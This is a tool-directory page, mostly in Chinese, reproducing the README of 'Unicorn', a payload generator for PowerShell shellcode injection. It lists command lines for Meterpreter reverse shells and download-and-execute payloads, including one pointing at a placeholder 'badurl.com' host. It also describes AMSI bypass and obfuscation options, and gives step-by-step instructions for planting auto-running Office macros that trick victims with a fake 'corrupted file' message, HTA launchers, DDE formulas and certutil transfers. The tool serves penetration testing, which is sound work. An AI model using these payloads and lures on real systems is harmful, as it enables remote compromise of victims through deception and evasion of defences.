Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
unicorn — Unicorn 是一个简单的工具,用于实施 PowerShell 降级攻击并直接向内存注入 shellcode。基于 Matthew Graeber 的 PowerShell 攻击技术以及 David Kennedy(TrustedSec)和 Josh Kelly 在 Defcon 18 上展示的 PowerShell 绕过技术。 | Kitploit
工具/GitHubGitHub/trustedsec/unicorn
钓鱼工具漏洞利用框架Payload生成IDS/IPS规避ShellcodeWeb应用程序漏洞利用渗透测试命令与控制社会工程学Shellcode 生成Payload 开发IDS/IPS规避 分类第 6 名
3.9k8237813天前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
Payload 开发 分类第 5 名
Payload生成 分类第 5 名
Shellcode 分类第 5 名
Shellcode 生成 分类第 5 名
GitHubtrustedsec/unicorn

unicorn

Unicorn 是一个简单的工具,用于实施 PowerShell 降级攻击并直接向内存注入 shellcode。基于 Matthew Graeber 的 PowerShell 攻击技术以及 David Kennedy(TrustedSec)和 Josh Kelly 在 Defcon 18 上展示的 PowerShell 绕过技术。

查看仓库网站

unicorn

作者:Dave Kennedy (@HackingDave) 网站:https://www.trustedsec.com

Magic Unicorn 是一个简单的工具,用于利用 PowerShell 降级攻击并将 shellcode 直接注入内存。它基于 Matthew Graeber 的 powershell 攻击以及 David Kennedy(TrustedSec)和 Josh Kelly 在 Defcon 18 上展示的 powershell 绕过技术。

使用方法很简单,只需运行 Magic Unicorn(如果使用 Metasploit 方法,请确保已安装 Metasploit 且位于正确的路径中),magic unicorn 会自动生成一条 powershell 命令,你只需将 powershell 代码剪切并粘贴到命令行窗口或通过 payload 投递系统执行即可。Unicorn 支持你自己的 shellcode、cobalt strike 以及 Metasploit。

root@rel1k:~/Desktop# python unicorn.py 

                                                         ,/
                                                        //
                                                      ,//
                                          ___   /|   |//
                                      `__/\_ --(/|___/-/
                                   \|\_-\___ __-_`- /-/ \.
                                  |\_-___,-\_____--/_)' ) \
                                   \ -_ /     __ \( `( __`\|
                                   `\__|      |\)\ ) /(/|
           ,._____.,            ',--//-|      \  |  '   /
          /     __. \,          / /,---|       \       /
         / /    _. \  \        `/`_/ _,'        |     |
        |  | ( (  \   |      ,/\'__/'/          |     |
        |  \  \`--, `_/_------______/           \(   )/
        | | \  \_. \,                            \___/\
        | |  \_   \  \                                 \
        \ \    \_ \   \   /                             \
         \ \  \._  \__ \_|       |                       \
          \ \___  \      \       |                        \
           \__ \__ \  \_ |       \                         |
           |  \_____ \  ____      |                        |
           | \  \__ ---' .__\     |        |               |
           \  \__ ---   /   )     |        \              /
            \   \____/ / ()(      \          `---_       /|
             \__________/(,--__    \_________.    |    ./ |
               |     \ \  `---_\--,           \   \_,./   |
               |      \  \_ ` \    /`---_______-\   \\    /
                \      \.___,`|   /              \   \\   \
                 \     |  \_ \|   \              (   |:    |
                  \    \      \    |             /  / |    ;
                   \    \      \    \          ( `_'   \  |
                    \.   \      \.   \          `__/   |  |
                      \   \       \.  \                |  |
                       \   \        \  \               (  )
                        \   |        \  |              |  |
                         |  \         \ \              I  `
                         ( __;        ( _;            ('-_';
                         |___\        \___:            \___:


aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=

                
-------------------- Magic Unicorn Attack Vector -----------------------------

PowerShell shellcode injection for x86 and x64 targets.
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates

Happy Magic Unicorns.

Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt> <generator options>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00)
Help Menu: python unicorn.py --help

-----生成器选项----

Unicorn 现在只生成一个 PowerShell 子命令。使用 --amsi inline 时,AMSI 补丁和 shellcode 加载器 在同一个子进程中运行。使用 --amsi off 时,Unicorn 会省略 AMSI 阶段。

使用 --profile cmd 以获得 8191 字符的命令上下文。使用 --profile powershell 以获得 32767 字符的上下文。Unicorn 会拒绝超出所选限制的输出。

使用 --arch x86 或 --arch x64 选择子 PowerShell 架构。请提供与该架构匹配的 shellcode。 默认为 x86。

使用 --obfuscation minimal|moderate|high 选择一种有界的、保持语义的变体。 清单文件会记录所使用的确切变换。

使用 --seed <value> 复现生成的变体。每次运行都会写入 unicorn_manifest.json,其中包含 种子、架构、AMSI 模式、命令长度、API 以及源 shellcode 的 SHA-256。 加载器变体使用 memset 字节复制循环或 Marshal.Copy;所选 API 会记录 在清单文件中。 对于 shellcode 攻击,清单文件还会记录所选的混淆配置及其 变换。

-----PowerShell 攻击说明----

现在所有内容都会生成到 powershell_attack.txt、使用 Metasploit 时的 unicorn.rc 以及 unicorn_manifest.json 中。文本文件包含将 PowerShell 攻击注入 内存所需的代码。你需要一个支持远程命令执行的位置。使用 --profile cmd 以获得 8191 字符的 命令上下文。此攻击还支持 windows/download_exec。使用下载并执行时,运行 python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe。

请注意,你需要启用监听器才能捕获该攻击。

-----宏攻击说明----

对于宏攻击,你需要转到“文件”、“属性”、“功能区”,然后选择“开发工具”。完成 后,你将拥有一个“开发工具”选项卡。创建一个新宏,将其命名为 Auto_Open,并将生成的代码 粘贴到其中。它将自动运行。请注意,会向用户弹出消息,提示文件 已损坏并自动关闭 Excel 文档。这是正常行为!这是在诱骗 受害者认为 Excel 文档已损坏。之后,你应该能通过 PowerShell 注入 获得一个 shell。

如果你要针对 Office365/2016+ 版本的 Word 部署此内容,需要将 输出的第一行从:Sub Auto_Open()

修改为:Sub AutoOpen()

宏本身的名称也必须为 "AutoOpen",而不是旧版 "Auto_Open" 命名方案。

注意:复制并粘贴 Excel 时,如果添加了额外的空格,你需要在 变量 "x" 下的每个 PowerShell 代码段之后移除这些空格,否则会发生 语法错误!

-----HTA 攻击说明----

HTA 攻击会自动生成两个文件,第一个是 index.html,它告诉浏览器 使用 Launcher.hta,其中包含恶意的 PowerShell 注入代码。所有文件都会导出到 hta_access/ 文件夹,并且会有三个主要文件。第一个是 index.html,第二个是 Launcher.hta,最后 一个是 unicorn.rc 文件。你可以运行 msfconsole -r unicorn.rc 来启动 Metasploit 的监听器。

使用 HTA 攻击时,用户必须点击允许并接受,PowerShell 注入才能正常 工作。

-----CERTUTIL 攻击说明----

certutil 攻击向量由 Matthew Graeber(@mattifestation)发现,它允许你获取一个二进制文件,将其转换为 base64 格式,并在受害机器上使用 certutil 将其转换回二进制文件。这几乎可以在任何系统上运行,并允许你通过伪造的证书文件将二进制文件传输到受害机器。要使用此攻击,只需将可执行文件放在 unicorn 的路径中,并运行 python unicorn.py <exe_name> crt 以获取 base64 输出。完成后,前往包含这些文件的 decode_attack/ 文件夹。bat 文件是一个可以在 Windows 机器上运行的命令,用于将其转换回二进制文件。

-----自定义 PS1 攻击说明----

此攻击方法允许你将任何 PowerShell 文件(.ps1)转换为编码命令或宏。

请注意,如果选择宏选项,较大的 ps1 文件可能会超出 VBA 允许的回车数量。你可以通过传入一个整数作为参数来更改每个 VBA 字符串中的字符数。

示例:

python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500

最后一个将使用 500 个字符的字符串而不是默认的 380 个,从而减少 VBA 中的回车数量。

-----DDE Office COM 攻击说明----

此攻击向量将生成 DDEAUTO 公式以放入 Word 或 Excel。COM 对象 DDEInitilize 和 DDEExecute 允许直接在 Office 中创建公式,从而无需宏即可获得远程代码执行能力。此攻击已有文档记录,完整说明可在以下地址找到:

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

要使用此攻击,请运行以下示例:

python unicorn.py <payload> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde

生成后,将生成一个 powershell_attack.txt,其中包含 Office 代码,以及 unicorn.rc 文件,它是监听器组件,可通过 msfconsole -r unicorn.rc 调用以处理 payload 的监听器。此外,还会导出一个 download.ps1(在后续章节中说明)。

要应用 payload,例如(来自 sensepost 文章):

  1. 打开 Word
  2. 插入选项卡 -> 快速部件 -> 域
  3. 选择 =(公式)并点击确定。
  4. 插入域后,你现在应该看到“!意外的公式结尾”
  5. 右键单击该域,选择“切换域代码”
  6. 粘贴来自 Unicorn 的代码
  7. 保存 Word 文档。

一旦打开 Office 文档,你应该能通过 PowerShell 注入获得一个 shell。请注意,DDE 在字符大小上有限制,我们需要使用 Invoke-Expression(IEX)作为下载方法。

DDE 攻击将尝试下载 download.ps1,这是我们的 PowerShell 注入攻击,因为我们受到大小限制。你需要将 download.ps1 移动到受害机器可访问的位置。这意味着你需要将 download.ps1 托管在受害机器可访问的 Apache2 目录中。

下载工具